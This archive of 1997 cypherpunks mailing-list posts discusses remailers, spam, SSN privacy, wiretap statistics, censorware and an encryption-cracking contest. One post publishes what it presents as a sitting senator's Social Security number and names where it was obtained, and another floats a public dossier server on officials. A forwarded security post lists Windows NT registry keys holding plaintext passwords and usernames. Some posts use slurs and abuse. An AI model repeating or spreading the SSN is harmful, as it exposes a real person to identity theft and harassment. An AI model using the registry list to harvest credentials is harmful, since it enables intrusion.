From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 28 May 1997 14:23:27 +0800
To: cypherpunks@algebra.com
Subject: Re: List problems or is it quiet???
Message-ID: <3.0.32.19970527231930.00714874@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:52 PM 5/27/97 +0000, root wrote:

>I`m just sending this to check that this really is not a list problem, as 
>of course 10 posts a day is an uncommonly low traffic level for the list.
.................................................................


This could be the result of a phase-shift brought on by tachyon emissions
generated during the 3-day holiday weekend, creating a distortion in the
space-time continuum.  It likely requires an inspection of the casing for
the dilithium crystals, with potentially a re-engineering of the temporal
warp drive to adjust for wavelet radiations.


   
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 13:21:51 +0800
To: tcmay@got.net (Tim May)
Subject: Re: SSN and passport
In-Reply-To: <v03102804afb164efe0ee@[207.167.93.63]>
Message-ID: <199705280506.AAA28868@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> 
> If the agencies and companies are so cavalier about ignoring the clear
> stipulation that the SS card/number is *not* a general identification
> scheme, then it is very doubtful that asking people to supply all this sort
> of information is not violating any law.
> 

Tim,


You may have a point regarding the government (state and federal) use
of social security numbers. As for private entities, their use of SSNs
is not regulated. They can ask you for one and you can refuse to give one
out, and they can refuse to do business with you. 

They could, as well, ask for your mother's birthday or your penis size,
or whatever. The things that they may not ask (in my understanding)
are race and possibly some other protected things.

I routinely refuse to give my SSN in stores when I write checks, and in
some other situations.  Typically, it causes a surprised look by a clerk
and not much more, but from time to time I have to talk to their
managers.

This issue is discussed in (I think) alt.privacy FAQ.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 28 May 1997 10:44:25 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
Message-ID: <199705280120.DAA24921@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Re: Nym Servers
To: Cypherpunks

Igor and D.V. have been discussing the viability of
cyberpromo as a host site for remailers; Igor points out
that many recipients will auto-trash anything from there.
On the other hand, it's a good entry point for a middleman remailer
or a nym remailer, as long as you can trash anything from there
without also trashing your remailer's mail :-)
In particular, your remailer was going to remove direct references
to cyberpromo anyway.

However, the prices have changed since I brought up the idea
a month ago.  At the time, they had auto-responders with POP mail -
- - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
Now, however, they offer autoresponders for 3/$99 for three years,
with no mention of POP mail or forwarding - I don't know if they've
dropped the service (in favor of web hosting at $25/month),
or if it's still there and just not advertised.  (Of course,
there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)

               Spambert
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBFAwUBM4uEWYuqXu2FMJm1AQGMWAF9FCraS1yFl5EOFPW/ISNCH+Sqc1qnUwCi
+du2tY+MiRiAz64yHX95HNZ5iz/DZLij
=c6PD
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Wed, 28 May 1997 21:36:23 +0800
To: cypherpunks@toad.com
Subject: Wasting Away
Message-ID: <199705280536.FAA13143@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


An anonymous signature:

"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing."

TruthMonger #26 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Wed, 28 May 1997 21:03:25 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Nym Servers
In-Reply-To: <Z4yB8D17w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970528075605.006a0674@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
>
>Dr.Dimitri Vulis KOTM wrote:
>
>> ichudov@algebra.com (Igor Chudov @ home) writes:
>
>>> As far as I understand, nym servers die because their maintainers get
>>> tired of the huge amount of mass mailings, mailbombings and complaints
>>> that these servers generate. Often enough they simply do not have the
>>> bandwidth or CPU resources to maintain them.
>> 
>> Stanford Wallace is doing an excellent job hosting "unpopular"
>> Internet features which the politically correct scum (like the
>> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
>> 
>> It's pricey, but it sounds like a nearly ideal site for remailers,
>> nym sevrers, and the like.
>
>I do not think that cyberpromo is a good site for remailers, because
>a lot of sites ignore everything that comes out of cyberpromo and 
>affiliated domains. A user who decides to use a cyberpromo-hosted
>remailer will not be sure whether his messages will be delivered to
>recipients or not.
>
>It may be slightly better to use cyberpromo for a nym server, though.
>
>How much does it cost to have a domain with Cyberpromo?

  How much for a simple account for usenet?  I'd like to get
one--just respond to the cabal from it--they'll read it.  Decent
ISP don't accept cancels--once we get news.admin.* people being
quoted, trashed and praised in these threads they'll get through.

                      Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 23:54:05 +0800
To: cypherpunks@algebra.com
Subject: OECD attacks one of the Four Horsemen
Message-ID: <v03102800afb2008b8854@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



News reports this morning that the OECD is moving out of strictly economic
matters and is focussing on "child porn," calling a special meeting in July
to discuss the laws of various countries and how they can be regularized to
control the availability of porn and child porn on the Net.

(The OECD is the Organization of Economic Cooperation and Development, or
some permutation like that, and is a kind of "economic NATO," but with
various non-European players. It was the OECD that David Aaron was special
ambassador to, before assuming his current duties as Crypto Tsar.)

So, one of the Horsemen is being invoked to control the Net.

(And the story on CNN right after this one was about cryptography, with
"drug smugglers and terrorists" prominently mentioned. The spin was that
citizen-units need cryptography on the Net so that they'll feel more secure
about Net commerce and thus buy more stuff, but that the security cannot be
good enough to make the drug smugglers and terrorists--not to mention the
pornographers!--safe from being caught.)

The war is moving into its next phase.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 29 May 1997 02:07:31 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Judge bans Internet gambling company from operating in Missouri
In-Reply-To: <199705271720.MAA32492@mailhub.amaranth.com>
Message-ID: <v03007833afb21a1cae9f@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:04 PM -0700 5/27/97, Tim May wrote:
>(And the lotteries have incredibly bad payoff odds...something like 30-40%,
>if I remember correctly. A slot machine with these odds would be shut down
>instantaneously as being a theft device! The state lotteries are often
>called "taxes on stupidity," and none of the well-off folks I know ever
>play this sucker's game. So, I should be rejoicing that Ma and Pa Kettle
>are squandering their paychecks on State-run gambling...but the principle
>is the thing I object to.)

I object to the state, providing addictive substances/experiences when
private enterprise could do the job.  If they are against addiction, then
they should set a good example.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 01:56:13 +0800
To: cypherpunks@toad.com
Subject: Re: OECD attacks one of the Four Horsemen
Message-ID: <199705281724.KAA15380@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> News reports this morning that the OECD is moving out of strictly economic
> matters and is focussing on "child porn," calling a special meeting in July
> to discuss the laws of various countries and how they can be regularized to
> control the availability of porn and child porn on the Net.
> 
> (The OECD is the Organization of Economic Cooperation and Development

> The war is moving into its next phase.

There will be a "War on Porn" on the internet that will mirror the
"War on Drugs" currently taking place. 
All that the government wants is their piece of the action. Like
drugs, the porn will always be available, but the price will 
fluctuate according to the level of government control and/or
illegality.
The "War on Porn" will turn into another essential national industry
which will become part of the GNP.

The "winners" in this war will be the journalists who have covered
the "War on Drugs" as they will merely have to dust off old stories
and substitute "Porn" for "Drugs" wherever it occurs.
The "loser" will be the Hoover Vacume Cleaner Company, whose development
of Virtual Cathouse technology will fall victim to new legislation.

TruthMonger

> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 29 May 1997 02:33:47 +0800
To: Ray Arachelian <cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: <v03007837afb21d5c7233@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:45 AM -0700 5/28/97, Ray Arachelian wrote:
>On Wed, 28 May 1997, Anonymous wrote:
>
>> However, the prices have changed since I brought up the idea
>> a month ago.  At the time, they had auto-responders with POP mail -
>> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
>> Now, however, they offer autoresponders for 3/$99 for three years,
>> with no mention of POP mail or forwarding - I don't know if they've
>> dropped the service (in favor of web hosting at $25/month),
>> or if it's still there and just not advertised.  (Of course,
>> there's still the moral dilemma that even $99 is $99 in Spamford's
>>pocket :-)
>
>Not to mention the fact that this bitch will grab any email addresses
>(including your own) that pass through those accounts and use them for his
>own spamming purposes.  Don't do it, it's not worth it, not just for the
>money going to a shit eating weasel, but for the principle of the thing -
>you'd cause the spamming of everyone using it or communicating with it.
>
>If you get a web site with them, they'd grab all the email addresses from
>the surfers' browsers.  Hell, you might as well get an account on
>nsa.gov while you're at it.

At least nsa.gov won't spam the addresses they've grabbed.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 02:18:03 +0800
To: cypherpunks@toad.com
Subject: FWD: Statement on nym.alias.net
Message-ID: <199705281741.KAA15961@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 28 May 1997 13:16:27 -0400 (EDT)
From: "Fred B. Ringel" <fredr@joshua.rivertown.net>
Subject: Statement on nym.alias.net

Hi all-

	An important message from the administrator of one of the best run
remailers (IMHO), nym.alias.net, follows. This is especially important to
those using nym.alias.net in their reply blocks or as their sole nym
remailer.

	Fred
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Fred B. Ringel		      --      Rivertown.Net Internet Access
Systems Administrator	      --      Voice/Fax/Support: +1.914.478.2885
PGP- Public Key		      --      email: fredr-pgpkey@joshua.rivertown.net
	Although in theory, there's no difference between 
	theory and practice, in practice, there is.


---------- Forwarded message ----------
Date: 28 May 1997 14:14:08 -0000
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: Statement on nym.alias.net.
Newsgroups: alt.privacy.anon-server

The alias.net domain has been put "on hold" by the internic.  The
result of this, among other things, is that host nym.alias.net no
longer exists.

Since the alias.net domain itself it not administered by the same
people as nym.alias.net, I don't yet know why this is.  Given that
today is exactly 3 months after the creation anniversary of alias.net,
and the fact that the internic does an extremely poor job of billing
people and processing their payments, I suspect this has resulted from
some sort of billing confusion rather than any kind of anti-remailer
activity.  However, I've not heard back from the alias.net
administrators yet, so don't know anything for sure.

I just wanted to get the word out that we have no intention of
shutting down nym.alias.net.  The machine is still up and running, and
will be useable as soon as domain name service is restored.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Thu, 29 May 1997 03:40:53 +0800
To: cypherpunks@cyberpass.net
Subject: 1996 Wiretap Report
Message-ID: <199705281840.LAA18489@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


I've been enjoying the 1996 Wiretap report.  A couple of my favorite
observations are:

(1) Of the 1149 intercept applications authorized for 1996,  
    821 were for "Narcotics" and 114 were for "Gambling".  
    I.e., 81% of the authorized intercepts were targeted at good old
    fashioned entrepreneurs.

(2) In the past 11 years (1986 - 1996) a total of 9,912 intercept
    applications were approved.  Of that number 5 (five!) were for
    "Arson, explosives, and weapons."  Unless they've classified wiretaps
    against "suspected terrorists" in the "Other" category, it looks
    as if the LEOs don't think (targeted) wiretaps are useful for stopping
    small groups of modestly skilled people bent on blowing things up. No Shit.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 29 May 1997 00:10:06 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: <Pine.SUN.3.96.970528113827.15372A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 28 May 1997, Anonymous wrote:

> However, the prices have changed since I brought up the idea
> a month ago.  At the time, they had auto-responders with POP mail -
> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
> Now, however, they offer autoresponders for 3/$99 for three years,
> with no mention of POP mail or forwarding - I don't know if they've
> dropped the service (in favor of web hosting at $25/month),
> or if it's still there and just not advertised.  (Of course,
> there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)

Not to mention the fact that this bitch will grab any email addresses
(including your own) that pass through those accounts and use them for his
own spamming purposes.  Don't do it, it's not worth it, not just for the
money going to a shit eating weasel, but for the principle of the thing -
you'd cause the spamming of everyone using it or communicating with it. 

If you get a web site with them, they'd grab all the email addresses from
the surfers' browsers.  Hell, you might as well get an account on
nsa.gov while you're at it.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 03:13:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Nym Servers & cyberpromo
Message-ID: <199705281850.LAA18158@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Clever Computers (http://www.clever.net) is worth a look.  More expensive
than what's been mentioned so far, but not extraordinarily so.  They're
pretty flexible and I suspect that the sysadmins would be discreetly
sympathetic to the cause.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 29 May 1997 05:50:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [NTSEC] Plaintext passwords exist in registry (fwd)
In-Reply-To: <Pine.SUN.3.96.970528164543.15372E-100000@beast.brainlink.com>
Message-ID: <v03102800afb253d24bb0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:45 PM -0400 5/28/97, Ray Arachelian wrote:

>---------- Forwarded message ----------
>Date: Wed, 28 May 1997 09:17:53 -0700
>From: Bill Stout <stoutb@pios.com>
>To: PHILIPB@Omnicell.com, chris@auditek.com, ntsecurity@iss.net
>Subject: [NTSEC] Plaintext passwords exist in registry
>
>Most facinating what you find if you look.
>
>The registry does store some passwords in plain text.  The importance of the

I found mine as well:

http://nsa.gov/secure/national-key-recovery-infrastructure/citizens/m/may-timoth
y-c


I had hope that the mandatory voluntary key recovery infrastructure,
mandated by the Secure and Safe Net Act of 1997, would have taken better
care not to place my key in such a visible place.

Jeesh. But our government must know what it's doing, right?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 29 May 1997 07:39:08 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Time Magazine: "No Privacy on the Web" (6/2/97)
In-Reply-To: <v0300781eafb255b4b8c6@[168.161.105.191]>
Message-ID: <v03102800afb2673f0622@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>Then there's the sidebar with our report on how much info we were able to
>>dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
>>would slow the spread of Social Security Numbers. Yes, we found her SSN,
>>unlisted phone number, and home address, but we had to pay for some of it:

This sort of process should work well for compiling the government related
material for the public Distributed Dossier Server

Those living in SF for some time probably remember Feinstein's running
battle with the operator's of the O'Farrell Theater. a pioneer adult
entertainment establishment.  When mayor Dianne tried to crack down on the
O'Farrell, the owners retailiated by posting her private, unlisted, home
number on their marquis.  Almost as soon as she changed it they were able
to obtain the new number.  As I recall it really got under her skin.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 29 May 1997 04:58:32 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: [NTSEC] Plaintext passwords exist in registry (fwd)
Message-ID: <Pine.SUN.3.96.970528164543.15372E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Wed, 28 May 1997 09:17:53 -0700
From: Bill Stout <stoutb@pios.com>
To: PHILIPB@Omnicell.com, chris@auditek.com, ntsecurity@iss.net
Subject: [NTSEC] Plaintext passwords exist in registry

Most facinating what you find if you look. 

The registry does store some passwords in plain text.  The importance of the
passwords you do find depends on your installation.  I found 'password' and
'username' entries at the below locations, but not much software was
installed on these NT boxes.  Searching the NT registry for my password
string did not did not display anything, searching the W95 registry for my
specific password string found it in many places:

password locations:
hkey_local_machine\system\controlset001\services\gophersvc\parameters
                      ...\controlset002\"
                      ...\curentcontrolset\"
                                             ...\msftpsvc\parameters
                                             ...\w3svc\parameters\

username locations:
\hkey+local_machine\software\microsoft\windowsnt\currentversion\winlogon\
                ...\system\controlset001\services\bh\parameters
                      ...\controlset002\"
                      ...\curentcontrolset\"
                ...\services\gophersvc\parameters\anonymouseusername
                                              ...\logsqlusername
                         ...\msftpsvc\parameters\anonymoususername
                                             ...\logsqlusername
                         ...\w3svc\parameters\anonymoususername
                                             ...\logsqlusername


_____________________________________________________________________________
Bill Stout       (Systems Engineer/Consultant)         stoutb@pios.com
Pioneer Standard (Computer Systems & Components)       http://www.pios.com/
San Jose, CA     (Location of 1 of 52 U.S. offices)    (408) 954-9100
*My opinions do not reflect that of the company, and visa-versa, thankfully.*






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0088.myriad.ml.org (Matthew Ghio)
Date: Thu, 29 May 1997 08:23:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [noise] AGIS says "no more spam"? (fwd)
In-Reply-To: <Pine.BSF.3.91.970527182318.9425C-100000@mcfeely.bsfs.org>
Message-ID: <199705290007.RAA14391@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> wrote:
> AGIS, IEMMC Halt Bulk E-Mail
> 
> Dearborn, MI May 27th, 1997: Worldwide Internet access provider AGIS (Apex
> Global Internet Services, Inc.) has challenged all members of the Internet
> E-Mail Marketing Council (IEMMC) to stop originating all bulk e-mail
> through the AGIS network. Under the terms of this agreement, Cyber
> Promotions, Cybertize E-mail, Integrated Media Promotions, ISG, and
> Quantum Communications agreed to cease sending unsolicited commercial
> e-mail (UCE) through the AGIS network until the IEMMC delivers a working
> filtration system and acceptable use policies.


Well, it didn't stop Spamford from finding a new ISP and sending me junk
mail yesterday.

I, for one, wish he would just go back to AGIS, where I can easily block
out 205.199.*.* and ignore all their crap.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 29 May 1997 08:30:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Time Magazine: "No Privacy on the Web" (6/2/97)
In-Reply-To: <v0300781eafb255b4b8c6@[168.161.105.191]>
Message-ID: <5mihc6$2ln@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


You should've asked on cypherpunks.  I found Dianne's SSN for free a
few weeks ago.  It's 567-40-7912.  (No charge -- the first one's free.)

Obtained from <http://www.fulldisclosure.org/abroker.html>.

In article <v0300781eafb255b4b8c6@[168.161.105.191]>,
Declan McCullagh  <declan@well.com> wrote:
> 
> >In this week's Time Magazine (p64-65), you'll find a privacy story that
> >Noah and I worked on:
> >
> >http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.no_privacy_o
> >n
> >.html
> >
> >Then there's the sidebar with our report on how much info we were able to
> >dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
> >would slow the spread of Social Security Numbers. Yes, we found her SSN,
> >unlisted phone number, and home address, but we had to pay for some of it:
> >
> >http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.my_wek.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 29 May 1997 06:04:41 +0800
To: cypherpunks@toad.com
Subject: Time Magazine: "No Privacy on the Web" (6/2/97)
Message-ID: <v0300781eafb255b4b8c6@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



********

>Date: Wed, 28 May 1997 16:17:17 -0400
>To: fight-censorship-announce@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: FC: Time Magazine: "No Privacy on the Web" (6/2/97)
>Sender: owner-fight-censorship-announce@vorlon.mit.edu
>Reply-To: declan@well.com
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>
>In this week's Time Magazine (p64-65), you'll find a privacy story that
>Noah and I worked on:
>
>http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.no_privacy_o
>n
>.html
>
>Then there's the sidebar with our report on how much info we were able to
>dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
>would slow the spread of Social Security Numbers. Yes, we found her SSN,
>unlisted phone number, and home address, but we had to pay for some of it:
>
>http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.my_wek.html
>
>-Declan
>
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 29 May 1997 06:04:44 +0800
To: cypherpunks@toad.com
Subject: CyberPatrol bans Computer underground Digest
Message-ID: <v0300781fafb255dbc20a@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



*********

>Date: Wed, 28 May 1997 17:14:43 -0400
>To: fight-censorship-announce@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: FC: CyberPatrol bans Computer underground Digest
>Sender: owner-fight-censorship-announce@vorlon.mit.edu
>Reply-To: declan@well.com
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>
>For as long as I can remember, Northern Illinois University criminal
>justice prof. Jim Thomas has been editing an online newsletter called
>Computer underground Digest. In it, he's chronicled the hacker wars, the
>crypto battles, and the fight over the CDA. It's been an invaluable
>resource to the Net-community. In fact, you'll see a lot of
>fight-censorship posts and articles end up in CuD.
>
>Now it's been blocked by censorware. Jim's offense? According to
>CyberPatrol, he's a "Militant Extremist."
>
>-Declan
>
>**********
>
>Date: Mon, 26 May 1997 22:45:26 -0500 (CDT)
>From: Jim Thomas <jthomas3@sun.soci.niu.edu>
>To: fight-censorship@vorlon.mit.edu
>Subject: CyberPatrol bans CuD  & Crypt Newsletter
>
>On Mon, 26 May 1997, Declan McCullagh wrote:
>
>(quoting from George Smith):
>
>> Huh! Thanks to your page I've just found out Crypt Newsletter is
>> banned by the fine folk at Cyber Patrol for being "militant extremists."
>
>George also forwarded the following to me:
>
>   Jim:
>
>   I suppose you already know this but I just found out Crypt Newsletter
>   and CuD were blocked by CyberPatrol and NetNanny.
>
>   Crypt Newsletter for being Militant/Extreme
>   CuD for being Militant/Extreme/violence/Profanity
>
>Whatever else CuD might be, I'm at a loss to even guess how
>"militant," "extreme," and "violent" characterize it. But, some
>profanity does slip in, especially in legal documents and similar
>resources.
>
>jt
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 29 May 1997 06:12:21 +0800
To: cypherpunks@toad.com
Subject: Re: Re: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970528174211_-1229814197@emout08.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

In a message dated 97-05-28 04:39:24 EDT, you write:

<< Actions such as yours inspire trust in the cryptographic software
 that you write, if it passes the review. >>

Thank-you very much. By the way, I realize that increasing the size of the
encrypted file used for the contest is unnecessary and actually makes
decryption easier in most cases. I'll let everyone @ toad.com know that the
original encrypted message was "cut" and "pasted" over and over again to
increase the final message to 50,000 bytes. So, there's is *decrypted* data
repetition. (I know, it's was a stupid thing to do, but I believe in
VSA2048's security, obviously.) However, as you probably have discovered,
none of the *encrypted*  data repeats or show any congruent/linear pattern.
(In fact, there is no pattern whatsoever.)

Also, along with the simple decryption tool, a simple flowchart of VSA2048
will be released that will show that VSA2048 is NOT is as simple as many seem
to think. (No, it's not just a random XOR-er. Take a look at the
VSACMProcessOperation and VSACMInternal functions. If it were simply a random
XOR-er, the data could probably be decrypted in a few days, if even that
long.)

I truly hope that all of the cypherpunks out there are working on cracking
the CRACKIT.DAT file used for the decryption contest or have worked on
decrypting it but just gave up. (Contest details will be posted every now and
then to cypherpunks@toad.com and other crypto-related mailing lists.) I
realize that many of you out there live to take snake-oil crypto off the face
of the planet. Not that it is snake-oil, but take a shot at hacking VSA2048.
(Use your Crays, Delta, UNIXs, sync-ed Pentiums, mainframes, whatever. We
don't care.)

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 29 May 1997 06:10:47 +0800
To: ichudov@algebra.com
Subject: Re: Re: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970528174156_439550795@emout05.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

In a message dated 97-05-28 04:39:24 EDT, you write:

<< Actions such as yours inspire trust in the cryptographic software
 that you write, if it passes the review. >>

Thank-you very much. By the way, I realize that increasing the size of the
encrypted file used for the contest is unnecessary and actually makes
decryption easier in most cases. I'll let everyone @ toad.com know that the
original encrypted message was "cut" and "pasted" over and over again to
increase the final message to 50,000 bytes. So, there's is *decrypted* data
repetition. (I know, it's was a stupid thing to do, but I believe in
VSA2048's security, obviously.) However, as you probably have discovered,
none of the *encrypted*  data repeats or show any congruent/linear pattern.
(In fact, there is no pattern whatsoever.)

Also, along with the simple decryption tool, a simple flowchart of VSA2048
will be released that will show that VSA2048 is NOT is as simple as many seem
to think. (No, it's not just a random XOR-er. Take a look at the
VSACMProcessOperation and VSACMInternal functions. If it were simply a random
XOR-er, the data could probably be decrypted in a few days, if even that
long.)

I truly hope that all of the cypherpunks out there are working on cracking
the CRACKIT.DAT file used for the decryption contest or have worked on
decrypting it but just gave up. (Contest details will be posted every now and
then to cypherpunks@toad.com and other crypto-related mailing lists.) I
realize that many of you out there live to take snake-oil crypto off the face
of the planet. Not that it is snake-oil, but take a shot at hacking VSA2048.
